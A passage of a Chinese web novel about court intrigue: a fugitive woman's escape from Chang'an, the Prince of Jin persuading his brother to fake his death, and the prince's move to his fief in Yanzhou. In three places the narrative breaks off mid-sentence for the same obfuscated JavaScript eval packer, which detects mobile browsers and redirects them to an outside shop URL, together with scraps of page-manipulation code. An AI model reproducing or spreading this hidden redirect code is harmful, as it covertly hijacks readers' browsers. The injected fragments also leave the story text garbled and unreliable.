他说着撩起帘幔，见她杵在原地，催促道：“快上来，一会儿人要回来了。” 季辞秋抿唇，踌躇了几下，一个跨步迈入舆中。 “为何帮我？”她蹲下身子，闷闷道。 张展忙活着将角落红木箱中的薄毯拿出，闻言动作没停，不假思索道：“不知，只是觉得他会让我帮。” 他没言明“他”是谁，但二人心中分明。 他捧着薄毯瞥她一眼，指着木箱道：“我还担心这箱子小了，眼下看你这身量，藏进去将将好。” 季辞秋依言，半弓着身迈入红木箱中，刚一蹲下，便听外头传来声响。 “公子，您要的樱桃酪。” 张展听着动静，手忙脚乱地将薄毯铺在其上，刻意扯了扯，弄乱了些。 “给我吧。”他飞速理了理衣裳，故作无事道，“去延兴门。” “好嘞。”车夫利落挥鞭，马车掉了个头，往东驶去。 “什么人？”监门卫远远看见一驾马车缓缓驶来，挥手拦停，上前问道。 “回大人，里头是京兆府张参军。” 监门卫敛眉，京兆府的司录参军倒是没甚，可这位爷是当朝户部侍郎的嫡子，那可就金贵了。 正想着，车帘掀开一角，一人探头而出，他连忙换上一副笑容：“是张公子啊，失敬失敬。” 张展微微颔首，看了看排成长龙的队伍，好奇道：“这是怎么了？出个城怎的排这么长？” “害，昨日逃了个重犯，眼下全城戒严，正仔细盘查呢。” “哦——”张展一副恍然大悟的模样，拉长音调道，“那我这车舆，是不是也要仔细看看？” 监门卫听了，和气道：“张公子说笑了，您的座驾，下官不敢冒犯。只消您拉开帘子，给下官看一眼内里，下官即刻放行。” “成。”张展面无异色，一把拉开帘子。见他目光停留在红木箱上，笑了笑主动打开，“路途疲惫，小憩时用的毯子，要拿出来吗？” “不用不用。”他连忙摆手，让至一旁，扬声道：“放行——” 马车很快出了延兴门，向北驶去。冬至已过，草木早已枯败，露出光秃的枝杈，直愣愣地刺向天空。寒风中，有三三两两的行客在浐水两岸送别。 又行了一段，路渐渐起伏，行人愈来愈少。前方地势微凹处，几株极高大的古松后面，露出一角飞檐。 “公子，云华寺到了。”车夫停好马车，对着车内道。 张展应声，不慌不忙：“你先进去知会住持一声，我随后便来。” 车夫应声往寺门去了。 他连忙打开木箱，掀开薄毯，将季辞秋放了出来。 张展微微掀帘，查看四周的情况，而后长话短说道：“金吾卫通缉，应在长安城周边县衙均设了关口。你且记住，无论去何处，莫要走官府驿道，专挑小道绕路走，最为稳妥。” 说着步出车舆，将一匹马的缰绳解下，交至季辞秋手中：“这匹马给你，路长道远，可助你一程。” “那你......”季辞秋欲言又止。 “放心，”他满不在乎地摆手，“寺里住持与我相熟，送我回去都成。” 季辞秋握着缰绳，好久没说话，再抬头时，目光灼灼。 “多谢。”她郑重行礼。 张展亦回礼，声音沉沉：“保重。” 二人就此别过，她没有停留，利落地翻身上马，往远处疾驰。 时值冬月，天色是沉静的蟹壳青，麦田早已收获，留下短短的、整齐的茬口，一块块，一片片，一直铺到天边。回首南望，长安城棋盘般方正的轮廓静静卧在天幕之下，庄严肃穆，已遥远得像另一个世界。 她似乎摆脱了权力纷争的漩涡，可心中并未有半分欢喜，取而代之的，是一种空落落的惆怅。譬如弈至中盘，忽闻金柛收兵，拂衣离枰。满盘机锋顿作枯枝残雪，只余指尖犹悬一子，不知落向何处，亦不知此身当立何方。 寒风在广袤的原野游荡，毫无阻挡，她勒住缰绳，驻足远眺，不期然想起一个地方。 陇西。 原身的爹爹驻扎于此，叶望亦在此度过多年时光。虽从未涉足，却时常听葵生提起那里的故事。那里天高地远，牧民的炊烟与烽火同升，羊群踏过的草场夜里会长出星星。 她很想去看看。 —— 自那夜之后，晋王府中气氛凝滞，叶望整日闭门不出，青戈面色愈寒，就连葵生都一言不发了好几日。 黎叔看在眼里，心中焦急，变着花样做菜，又移过来几株常青竹，想让府里的气氛活跃些。 “过几日是王爷生辰，我打算好好操办，你可有甚么好点子？”他叫住埋头行路的葵生。 葵生脚步停住，恹恹看他一眼，摇头。 “哎——”眼见他抬脚要走，黎叔拖长声音，紧跟着道，“那王爷的生辰礼，你可有准备？” 不提便罢，一提起这个，似是勾起了葵生的伤心事，只见他苦着一张脸，重重叹了口气。 “这是怎的了？”黎叔紧锁着眉头，不解道。 正说着，叶望自假山后而来，手中拿着两样物件。闭关几日，他的面色更加暗淡，呈现出一种病态的苍白。 葵生原本杵着没动，看清他手中之物后浑身一颤，疾步上前。 “王爷，这是从何而来？”他抖着声道。 “书房里间的横桌上，”叶望敛眸，“应是......季姑娘走之前留下的。你此前见过？” 葵生原本隐隐期待，听到此话后眼神黯淡下来，扯了扯嘴角，指着其中一个道：“这花镖是我给王爷定制的生辰礼，那日白......季姑娘替我自东市刀剑行取了后，便被人带走了。” “那此物呢？”叶望看着右手掌心的冰川蓝玉佩。 他摇摇头：“未曾见过。” 叶望攥着玉佩，若有所思。却听垂花门外传来几声争执。 “劳烦将消息带给殿下。” “你不同我说何人相邀，我如何与王爷说？” “我家公子嘱咐了，不能透露，你且将消息带去便好。” “邀人却不说身份，我怀疑你居心叵测，这话，我可不敢带。” “你！”那小厮急得满脸通红，还欲辩驳，余光中见一人自门后负手而出，立时两腿一软，趴跪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17075987|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在地。 门子神色一凛，转了个身，恭敬道：“王爷。” “何事吵嚷？”叶望神色淡淡。 “王爷，这人古怪得很，邀您赴约，只说地点，却不说何人相邀。我瞧着实在可疑，便与他争执了几句。” “何地？” “景明茶馆。”趴在地上的人抢先道。 叶望心中了然，长袖一挥，自空中划了道弧线：“同你家公子说，本王知道了。” 景明茶馆，叶望缓缓步入隔间，取下兜帽。 “你可算来了，”张展见他面如冰霜，周身了无生气，有意激他，凑近了神秘道，“你猜，我昨日碰见谁了？” 叶望面无表情地看他一眼，似乎已习惯他这套故弄玄虚的把戏，眼皮都没眨一下。 “说出来吓死你，”他毫不在意，自顾自说完这一套，迫不及待吐出答案，“我见着季姑娘了。” 叶望原本心不在焉，闻言心中像被重锤猛击，眸中剧烈翻滚起来，涌动起复杂的情绪。他强压震颤，声音发紧，急促道：“何处见的？” “延兴门，”张展即答，瞅见他脸上难掩的忧色，补充道，“我正巧去云华寺祈福，碰见她在城门附近徘徊，便将她藏在马车的红木箱里，带出城了。” 他似是想起什么，滔滔不绝：“那监门卫查得甚严，看了那木箱好几眼，我急中生智，主动请他查，还好他作罢了。你不知道，我当时心差点跳出来了。”说到这里，他心有余悸地拍了拍胸脯。 叶望凝神听他说着，很快道：“她后来去哪了？” “这我就不知了，我在云华寺解了匹马给她，提醒她莫走官道，她道了谢后便驭马离开了。” “她......可有说些别的？” 张展仔细想了想，摇头：“未曾。” 叶望垂眸，沉默不语。 “话说回来，她果真是想刺杀你？”张展忍不住道。 “你觉得呢？” “我？我当然是不信，不然我做什么救她？”张展瞪大眼睛道，见他不语，面色变了变，“她不会——真想刺杀你吧。” 叶望默了默，摇头：“她并非想刺杀我，但她确是齐王安插到我府上的细作，先前一些事皆与她有关。那夜她闯入府中，兀自同我说了一通有关齐王的密报，而后金吾卫紧随其后，她竟假意挟持我脱身，倒叫我看不明白了。” “她既已替齐王做了那么多事，明明可以趁此机会彻底将我扳倒，却偏偏在这最后一步后撤。” 张展已然处理不了这么多信息，只逮着第一条疑惑道：“你与她爹关系交好，她为何追随齐王？” 叶望沉默，想起那夜她挟持他时所言，她说他陷害了她爹爹，或许确是如此。长平一战时，他判断失误，未及时赶去支援，酿成此祸。而今季将军死得不明不白，他却只能被动地接受一切，连一点蛛丝马迹都摸不到。 她恨他怨他，是应该的。 “算了，不说这个了，”张展打破沉默，换了个话题，“听我爹说，这次上书立储的折子圣上没退回，瞧着态度，怕是要令齐王入主东宫了。” 齐王入主东宫，叶望已有预料。圣上年事已高，若还不为后继之人做打算，再拖下去，势必影响国祚稳固。依照次序，齐王是名正言顺的继位者。 “还有，圣上近日令户部核算了几地的赋税收入、王府营造与岁禄开支，似是为分藩作打算。依我看，是立了储君，便急着将你赶走。”张展愤愤道，“你有何打算？” 叶望目光微动，喝了口茶，望向窗外。庭院中未化的积雪覆着枯败的假山，檐下悬着冰棱，在灰白天光里泛着凛冽的寒。 “雷霆雨露，俱是君恩，”他收回视线，杯中茶水已凉，“圣意如何违抗，顺势而为罢。” 58. 问鼎 腊月初二，大寒。晋王府张灯结彩，黎叔一大早爬起，张罗着府内上下，庆贺王爷的生辰。 他有心冲淡府内沉闷的气氛，特意采买了些崭新的彩灯，沿着抄手游廊悬挂，披红挂绿一片，瞧着好不热闹。 “王爷可回来了？”他叫住一小厮道。 小厮摇头。 黎叔皱了皱眉，自王爷进宫晨省，眼下都快午时了，怎还未回来？正想着，门子匆匆来报：“管事，宫里方才来人说，圣上留王爷在宫中用午膳，不回来吃了。” 黎叔一怔，面上闪过一丝失落。他看了看厨房早已备好的肉菜，叹了口气。 罢了，圣上有心留王爷用膳，他该替王爷高兴。 一个时辰前，太极宫后殿。 景帝歪在龙榻的阴影里，徐徐睁开眼。岁月在他脸上留下纵横的沟壑，从松垂的眼角一直蔓延至嘴角。两颊凹陷下去，曾经平落惊雷的凌厉凤眼此刻像两潭将涸的深井，上面浮着层浑浊的云翳。 他看了眼座下立着的年轻面孔，沙哑开口：“老五，倘若朕没记错，今日是你的生辰？” 座下人目光动了动，很快压下：“回陛下，正是。” “过了今日，年岁几何？” “二十有三。” 景帝恍然大悟哦了一声，接着长叹口气道：“二十三，已是不小了。皇嗣绵延之事重大，你和老三如今却皆未娶妻，真叫朕烦心呐。” 叶望闻言，抿了抿唇。他说圣上怎得今日记起他生辰来，原是想借此敲打。只是景帝一贯多疑，整日紧盯着座下年长的皇子，生怕他们借联姻与重臣勾结，如今倒又忧虑起来。 “可有钟意的？朕替你相看相看。” 他顿了顿，干涩道：“还未有。” “今后多留意些，”景帝点点头，未多为难，话锋一转道，“眼下老三入主东宫，你也老大不小了，强留在京城不妥。朕近日思忖着，延州那处藩地离京不远，民风也淳朴。你既已封王，按制本应大婚后方能就藩。如今朕便做主让你年后先去延州，到了那边，若有中意的世家女子，相看妥当再行婚仪，也算全了礼数。”说着从御案上抽出一卷黄绫，指尖在延州的舆图上点了点。 殿内龙涎香烧得正沉，景帝的话像细针，一根根扎进叶望心里。 延州地处关中，与北方草原交界，名义上靠近京畿，实则已是半农半牧的边陲。看似恩赏，实为流放，要他彻底让出京中棋盘。 不过他亦是乐意，叶玄入主东宫，强留京中处境只会愈发艰难。他如今存了别的心思，横竖在京城难以施展，不如去藩地筹谋，或许柳暗花明，有一线生机。 “儿臣，谢父皇体恤。”他撩袍跪下，额头触在冰凉的金砖上。 景帝满意地“嗯”了一声，将舆图往前推了推：“开春化冻就启程吧。”又道，“时候不早了，今日是你的生辰，就留在宫中与朕一道用膳吧。” “是。”他双手接过那卷沉甸甸的恩典，垂下眼帘。 —— 年关将至，黎叔忙得抽不开身，除了筹备年货、清算府中田庄店铺等收益，还要清点府中资产、处理人员去留，为开春的就藩做准备。 这日，他正找账房核对收支账目，见叶望在书房的架子上翻找着什么。 “王爷，您要什么，老身替你取。” 叶望闻声转过头来：“这架子上先前有枚玉佩，冰川蓝色，你可有见过？” “那个啊，”黎叔很快道，“我见它放在那有些时日，便将它收起来，与先前圣人赏赐的珠宝放一块儿了，我这就取来。” “不必了，”叶望叫住他，顿了顿，出尔反尔，“罢了，你将它放入一个单独的匣子里，交予我吧。” “还有，本王今日出府办事，要有些时辰，不必留饭了。”他补充道。 “是。”黎叔应声。 长安城郊，通往皇陵的蜿蜒山道上，一架不起眼的马车疾驰而过，经岔道向右一拐，往护国寺去了。 叶望身着青色绸面棉袍，头戴方巾，面上半蒙了层布，俨然一副病弱书生的模样。 “路程还有几时？”他紧了紧手，问车辕上扮作车夫的青戈。 “快了，约莫一刻钟。” 几日前，通政司传来例行奏报，九皇子叶朗为母祈福，拟于护国寺斋戒三日。他此行，是为冒险见叶朗一面。 护国寺距皇陵十里，依山而建。相传太祖皇帝周高祖曾在此避祸，后扫平群雄，登基为帝，征召天下能工巧匠，在原来小庙的基础之上，扩建了此恢弘寺院，并钦赐寺名——“护国禅寺”。 因着这样传奇的起源，护国寺的香火百余年间从未间断，无数虔诚的信众来此，祈求平安。 大雄宝殿香火袅绕，叶望与青戈欲迈入殿中，被守在门旁的僧人拦住。 “佛前庄重，施主这面纱，还请摘下。” 青戈与叶望对视一眼，忙上前合十一礼道：“师父慈悲，我家公子身染顽疾，恐有传人之忧，这才以纱覆面，并非有意不敬。此番入寺，便为叩拜菩萨，祈愿安康，还望行个方便。” 说完，叶望适时咳嗽了两声。 僧人掩面看他两眼，叹了口气：“罢了，亦是可怜人，进去吧。” “多谢。” 入了大殿，两侧分别设有供奉长明灯的香位。叶望负手而立，望着殿中高大肃穆的金身佛像，余光留意着后殿的方向。 “再等等。”他压低声音道。 没过一会，后殿缓缓步入一人，身后跟着几名护从，他眸光一动，走到香位前。 “敢问师傅，为母祈福，牌位是否需本人亲笔书写？”声音不大不小，足够令不远处的人听见。果然，叶朗闻声，往这边走过来。 香位前的僧人点头：“施主要点几盏？” 他想了想，“两盏吧。”说着移至一旁的书写案，研墨铺纸。 “师傅，我......也要一盏。”身后传来少年沙哑的声音。 叶朗付了银子，移至案前。砚台在旁边人的左手边，他够不到，正欲绕至一侧，却见那人已端起砚台，递给他。 “多......”他接过欲感谢，对上那道熟悉的目光，犹如惊雷劈过，僵在原地。 对面那人沉沉看他一眼，不动声色地接着他的话道：“兄台客气。” 他回过神来，飞速扫一眼身后的护从，没出声。 “师傅，我还要写一签子，连着福带一起系到外头的树上。”叶望斜斜看他一眼，状若无意道，“听说护国寺的祈福带极为灵验，兄台要不要试试？” 护从走近了些，叶朗心有所领，匆匆移开视线。书写完毕，他恭敬地将牌位交予僧人后，微微转头往殿外看去。只见叶望在那菩提树下转了一圈，将福带系到了高处的枝丫上，而后头也不回地走了。 叶朗于殿中等了一会，自僧人处亦领了一福带，抬脚步至树下。年关将至，祈福的人一茬一茬，将菩提树点缀上密密麻麻的红绸。他奔着高处那福签而去，缓慢地将福带系上，而后趁身旁的护从不备，快速地翻过福签背面。 一行小字映入眼帘，“未时一刻，寺内香积厨后巷。”他眸光微动，轻轻一扯，将福签收入袖中。 午时，叶朗心不在焉地用着斋饭，满脑子都是叶望的那张字条。他虽不知他特意来此处见他有何目的，但清楚私会之事的风险。 可他孤守皇陵多日，亦有些事想问问。况且正逢年关，礼部忙着筹备宫中事宜，抽调了诸多护从入宫，身边人少了许多。此时不见，往后怕是没机会了。思忖片刻，他决定冒险一试。 未时一刻，斋饭已过，众僧回房休憩，香积厨后巷阒无一人。青戈探身往巷口看了看，迟疑道：“王爷，九殿下会来吗？” 叶望没吭声，只定定望着窄巷。没过一会，一素白身影急急而来，正是叶朗。他紧了紧手，立在原地没动，待人走近，才伸手扯下面纱。 久别重逢，已是天翻地覆。二人四目相对，一时心情复杂，均未开口。 “王爷，我去巷口盯着。”青戈起身。 叶望目光沉沉，落在眼前的少年身上。多日不见，叶朗又长高了些，原本圆润的脸颊已彻底收缩，在颧骨下方折出一道清瘦的弧度。常年汇集眼中的光芒不再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083403|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，取而代之的是内收的、过早到来的沉稳，有些似曾相识。 心中一阵恍惚，他嘴唇微动，想说些什么，却听对面少年开口：“五哥寻我何事？”声音低沉，全然褪去稚气。 他抬眼觑他，稳了稳神：“我要就藩了，去延州。” 叶朗一怔，显然并不知此事，垂目道：“何时动身？” “开春时候，”他眼神复杂，斟酌着话道，“如今三皇兄入主东宫，往后你有何打算？” 叶朗扯了扯嘴角，苦笑一声：“我如今一心守陵，未想过以后。” “只怕有人不愿你安心守陵。”他垂目，声音沉沉。 “五哥此话何意？”叶朗闻言，面带疑惑地抬起头，对上叶望严肃的神色，渐渐明白过来。 在宫中时，他与三皇兄甚少来往，只觉得他心思深沉，不多言语，如今想来，怕是没有表面那般简单。他也不是没有看过史书中关于争权夺位的记载，但彼时有母后舅舅庇佑，只当看传记般翻过，并未放在心上。而今经历了家破人亡，一夜之间高楼倾塌，身份倒转，这才亲见权力更迭的残酷。可惜已太迟了。 “人为刀俎，我为鱼肉。”他低垂着眼，没什么表情，“如今陆家倒台，我这个皇子之位，早就废了。” “小九，慎言，”叶望低沉道，“先皇后以命换你迁出陆氏族谱，而今你与陆家毫无干系，如何谈得上废？” 提及此事，他心中抽痛，撇过脸去：“五哥，我明白你的意思。只是我如今远离朝堂，身边连亲信都无，他若想动我，我毫无还手之力。” 他深呼了一口气，眼神失焦地看着虚空，喃喃道：“从前我一直以为只要埋头读书、心怀天下便能成为明君，从未想过龙椅下的残酷搏杀，而今才幡然醒悟，虽心有不甘，但为时已晚。” 对面人良久无声，岁末的风呼啸着穿过巷道，卷起衣袍一角，发出飒飒的声响。 “这天下，你想不想要？”声音自头顶上方传来，郑重而有力。他错愕抬头，见叶望定定望着他，目如焚原，灼灼竟似要将天地点燃。 “五哥......”他眸中震动，张了张口。 “今日之言，出我之口，入你之耳，关乎你我性命，更关乎天下将来。我既开口，便绝无虚言。”叶望继续道。 “如今东宫位子上的那位，行事只问利弊，不择手段，将来绝非万民之福。若此人承继大统，届时朝纲紊乱，你我亦不得善终。我清楚这条路九死一生，但与其将命运交到那样的人手中，不如你我兄弟联手，搏一个不一样的将来。” “你若有意，为兄愿助你踏平前路，问鼎天下。” “可是五哥你......亦能即位。”他默了默，终道。 叶望闻言缓缓摇头，嘴角浮起一丝极淡的笑意，半是玩笑道：“我散漫惯了，坐不好这位子。” “从前在陇西，时不时会怀念京城，而今来了，方知我怀念的不过是儿时的日子，与长安无关。这江山太大，我只要陇西那一角，让我枕着风沙入眠便够了。” 叶朗沉默。 叶望并未催促：“此事突然，你可三思，不必即刻回复。我留在京中的时间不多，往后怕是没机会再议。接下来的话你只需听着——” “倘若你有澄清玉宇之志，须知三皇兄必难容你，你地处远郊，若想破局，最好的办法是诈死。可伪造走水脱身，事成之后，去东郊的云丰茶铺，会有人接应你赴延州。” “倘若你志在逍遥，我此言可随风而散，不必放在心上，我仍是你可倚靠的兄长。” —— 这个年飞也似地过去了，仿若昨日还在燃竹放炮，眨眼间厚厚的河冰已开始化冻。 依照旨意，叶望一行于化冻第二日启程，北上就藩。 马车浩浩荡荡出了朱雀门，天地豁然一阔，长安城高厚的青灰城墙被抛在身后，仿佛从一幅工笔重彩的宫廷画，忽然跌进了一卷清朗疏淡的水墨长卷中。 路上行人逐渐多了，空气仍是冷冽的，却逐渐有了春天的端倪。 叶望将帷幔卷了上去，任由晨风灌满车舆，往遥远的北方看去。 59. 云氏 延州城，时已春盛，仍刮着浑浊的风，天与地浑黄一片，路上的行人皆裹得严实，埋头行路。 城东南，一座规整的宅院安静坐落，牌匾上书金字：晋王府。 “王爷，云氏商行的东家邀您去城东的胡沙酒肆听曲，我略微打听了下，云氏的小女儿也去。”黎叔微微推开房门，擦了把汗。 近些日子，王府已收到多封类似的帖子，皆来自延州城的富户大族，目的虽未明说，但均有议亲的意思。延州地处边陲，少有礼教束缚，当地女子多是豪放直爽、敢爱敢恨的烈性子，曾有康氏女拦下王爷的轿子，当街示爱，搞得一众随从手足无措。 他私下试探过王爷的态度，见他对娶亲一事不甚热络，因此对于这样的帖子，多是寻些由头婉拒。 他瞅了瞅叶望的脸色，像往常一样道：“我替王爷推了？” 叶望正于案头研墨，继续着手中的动作，随意问道：“云氏商行？做什么的？” “经营茶马生意，分销延州及周边，已成垄断。” “茶马？”叶望手中一顿。 黎叔见状，详细道：“云氏手握边茶专营，在秦岭拥有数座茶山，同时在延州城郊设有马场，饲养马匹。” 他以为叶望有意，又补充了一句：“云氏一族是商贾世家，在延州当地有口皆碑，风评不错。” 果然，叶望将玉杵一撂：“不推了，本王去会会。” —— 城东南，胡沙酒肆。不同于往日的喧闹，今日的酒肆人烟稀少，几名男子欲入内，被小二拦下，抱歉道：“客官，今日云氏商行的云掌柜包场，还请另寻别处。” 二楼雅间内，云佟义自窗户望了眼楼下，又转头看向对面麦色皮肤、懒懒靠着椅背的女子，叮嘱道：“一会儿晋王殿下来了，收一收你的性子，别吓着殿下。” 云知意不以为然，仍是靠着，眼皮都没抬一下：“爹，我刚跑马回来，便赶到这儿。我当是什么事儿，早知是叫我见晋王，我便不来了。” “你这丫头，见一见又不会掉块肉，”云佟义瞪了她一眼，“眼下你年岁不小了，别日日疯玩，也得想一想自己的终身大事。” “我哪有日日疯玩，云氏的跑商是谁管的？”云知意抗议，瞥了云佟义一眼，有些委屈道，“我看是爹爹厌我了，迫不及待要将我嫁出去。” 云佟义听了这话，又好气又好笑：“爹何时厌你了？小没良心的，就故意说这些话气我。” 云知意撇了撇嘴。 他长叹一口气，苦口婆心道：“爹是舍不得你，可你终是要嫁人的，何不趁此机会好好相看一番？” “为何一定要嫁人？”云知意小声嘀咕。 他全当没听见，继续道：“爹听说，这晋王现如今可是延州各大家结亲的头号人选，热乎着呢。” “趋炎附势罢了。”云知意嗤笑。 “这么说也没错，但爹瞧着晋王确是不错，”云佟义道，“刚来延州时，他放着大把的青壮劳力不用，反倒雇佣了一批流民至王府田庄耕种，就光这点，不知比多少皇亲贵族强了。” 云知意没说话，又道：“长安锦绣堆里的，听着便文弱得紧，我不喜欢。” “你懂什么，人家先前可是将军，领兵打仗的。” 她仍是嘴硬，梗着脖子道：“将不将军的，先打过我大哥再说。” 正说着，楼下传来动静，她循声往下看去，见一身着绛紫锦袍的男子迈入，身形挺阔，眉目俊朗，像是从画中走出一般。 她呆了呆，直到被云佟义狠拽了一下，才回过神来。 “民女参见晋王殿下。”她将头发捋至耳后，垂目道。 叶望微微颔首，视线在她身上停留了一瞬便转向云佟义。 “殿下，里边请，”云佟义热络道，引着人往里走，“昨日酒肆里新来了个戏班，唱秦腔的，鄙人听闻殿下好听曲儿，便斗胆邀您前来共赏。殿下赏脸赴约，鄙人感激不尽。” “云掌柜客气了。”叶望笑了笑，未多言语。 众人落座，云佟义似是想起什么，拉着一旁的云知意道：“这位是鄙人的小女，今日听闻酒肆唱戏便跟来了，唐突之处，还望殿下多多包涵。” 云知意闻言，正欲撇嘴，忽得一僵，余光中感受到晋王抬眼看过来。 “无碍。”叶望低头抿了口茶，嘴角挂着极淡的笑意，衬得那双眼睛柔和了许多。 没由来的，脸颊有些发烫，她心中浮躁，端起碗欲一饮而尽，忽得想起爹爹先前嘱咐的话，飞快瞥了晋王一眼，放下碗，寻了只玉盏喝茶。 云佟义似乎对她的斯文模样极其满意，一边与晋王攀谈，一边抽空赞许地看了她好几眼。 一场戏下来，她心思飘忽不定，光顾着偷偷打量晋王去了，什么也没听着。 “怎么样？”送走晋王，云佟义立马问她，“我瞧着这晋王是一表人才，不仅宅心仁厚，谈吐竟也不凡。” “还......可以吧。”她摸了摸鼻子，口是心非道。 “还可以？那就是不错了。”云佟义对她的性子了如指掌，毫不客气地戳破。 “爹！”云知意有些羞恼，站起身便走。 “几日后的赛马晋王会来，你可要好好表现啊。”云佟义看着她的背影，笑着打趣。只见那背影顿了一下，而后头也不回地走了。 —— 春分日，北郊赛马场幡旗飘扬，人山人海，一年一度的赛马即将开始。 “晋王殿下，这边请。”作为这场赛马的主办，云佟义候在门口，热情地迎接前来观赛的各路权贵。 “厉害啊云公，攀上这位。”后来的冯氏香行掌柜揶揄道。 “哪里哪里，殿下赏脸罢。”云佟义谦虚道。 另一边，云知意身着藏红色跑马服，腰束烫金革带，自毡房中走出。一头乌黑长发高高束起，别着一枝木兰簪，衬得眉眼愈发英气。 不远处走来一熟悉身影，她挥动手臂，招呼道：“这里——” “知意，可算找着你了，”冯如兰小跑上前，“准备得如何？一会比赛要开始了。” “放心吧，小菜一碟。”她做了一个洒脱的动作。 “行了，知道你马上功夫了得，”冯如兰笑道，话锋一转，望向不远处的阁台，“对了，前日你同我说的晋王，是哪位？” 云知意敛了神色，也看向阁台。雕花楼阁上，锦衣华服堆里，一人正身端坐，眉眼浓烈。光是坐在那里，便英气逼人。 “我爹边上那位。”她移回视线。 冯如兰踮脚仔细看了看，赞道：“确是俊，怪不得能将我们刀枪不入的如意拉入情网。” “谁入情网了？”她眉毛一横，矢口否认。 “好好好，没有，”冯如兰脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152253|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上挂着意味深长的微笑，“比赛加油，你的晋王殿下也看着呢。”说完一个闪身，跑远了。 “你！”云知意咬牙切齿地望着冯如兰的背影，脸上又飞起两团红晕。她搓了把脸，打起精神，往马棚去了。 比赛很快开始，随着一声哨响，数匹烈马奔腾而出，赛道上扬起一片尘土。 刚开始时，赛况激烈，马匹间争先逐后，咬得极紧。跑了几圈，逐渐拉开了距离。一道红色的身影破尘而出，遥遥领先。 “是云氏的小女儿！”人群中陆续有人认出。 “云公，你女儿不得了，巾帼不让须眉啊。”阁台上有人赞道。 云佟义颇为自豪，笑着抚须，不经意瞥了晋王一眼，冷不丁听晋王道：“云掌柜，这些马匹皆是贵马场的？” “部分是马场挑选的，部分是参赛人自己的，”他一愣，连忙道，“不过参赛人的马，有九成亦是从马场购得。” 叶望点头：“本王近来想购些良马，还望云掌柜可推荐一二。” “好说好说，殿下将数量、成色等要求同鄙人说了，鄙人亲自为您挑选。” 说话间，马赛已进入最后一圈，云知意冲在最前头，后头一人紧咬其后。过弯道时，那人欲侧向包抄，却控制不好马头，往云知意的方向冲过去。 霎时间，马匹相撞，二人直直飞了出去。 人群一片哗然，云佟义猛得站起，变了脸色。很快有小厮抬着肩舆上前，小心将二人放在其上，匆匆运至场外。 “殿下，小女出了点状况，云某去看看，失陪。”云佟义说完这句话，便急急离开。 到了后场，他拨开一众围着的小厮，见云知意躺在肩舆上，额冒冷汗。 “怎么样？伤得可重？”他颤声问一旁郎中道。 “右臂右腿筋骨皆损，周身擦破数处。万幸脊骨完好，未伤及要害。” 他松了口气，后怕地看了眼女儿。 “爹，贺兰马帮的人撞我。”云知意勉强抬起头，愤愤道，“这不是第一次了，去年他们便想用这法子超我，被我躲开了。” “瞧见了。”云佟义面色不佳，贺兰马帮擅长马术，一直对赛马一甲之位虎视眈眈。他们争强好斗，手段却不光彩，去年他便颇有微词。只是云氏商行与贺兰马帮合作紧密，云氏销往周边的商单皆要托马帮送达，因此他并未多说。 “你安心养着，爹去帮你出这口气。”他紧拧眉头，长吸了一口气，安抚道。 —— 晋王府，葵生自府外而来，匆匆递上一封密信，压低声音道：“九殿下已在来的路上，不出三日，便会抵达延州。” 叶望颔首。前些日子，长安城出了件大事。远在城郊的皇陵意外走水，替母守陵的九皇子不幸殒命。圣上得知此事后大恸，多日卧床不起，太子多次进宫侍疾，才逐渐好转。 收到消息后，他知叶朗已按计划脱身，便提醒留守长安的青戈接应，秘密将小九带来延州。 叶望自书架上抽出一卷竹册，递给葵生：“身份本王已替他办理妥当，届时你将这籍册交予他，让他熟悉熟悉延州的环境，扮演好此身份，本王会寻机会与他会面。” “是。”葵生退下。 西北的院落格外开阔，叶望抚着书卷，望着空荡的安静的宅院，不期然想起女子灵动的双眼。山川相隔，了无音讯，不知她现今可好？ 60. 镖局 贺兰马帮发源延州往西祁连山一带，多由识山路的汉子组成，用骡马驮货，走官道不走的险路。他们与延州城的商户合作，专营货物运送，这其中规模最大的，当属云氏商行。 这天一大早，马帮设立于城中的联络点来了位客人。 “哟，这不是云掌柜吗？”看清了来人，马帮头目尉迟拓上前，“上次那批货已送到，眼下商队在回来的路上。” “我不是来问这个的，”云佟义摆摆手，直截了当，“昨日马赛，你们马帮的人将我女儿撞倒，伤得不轻，想必尉迟兄有所耳闻。” “竟有此事？”尉迟拓似乎并不知情。 “你的人没回这里？”他愣了愣。 尉迟拓摇头：“多半是寻个地方自行疗伤去了，骑马嘛，磕碰亦是寻常。” “此事并非偶然，”云佟义脸色微沉，语气难掩不快，“去年他便有此意图，不过未曾得手罢。一个比赛而已，手段如此阴狠，尉迟兄不管管？” 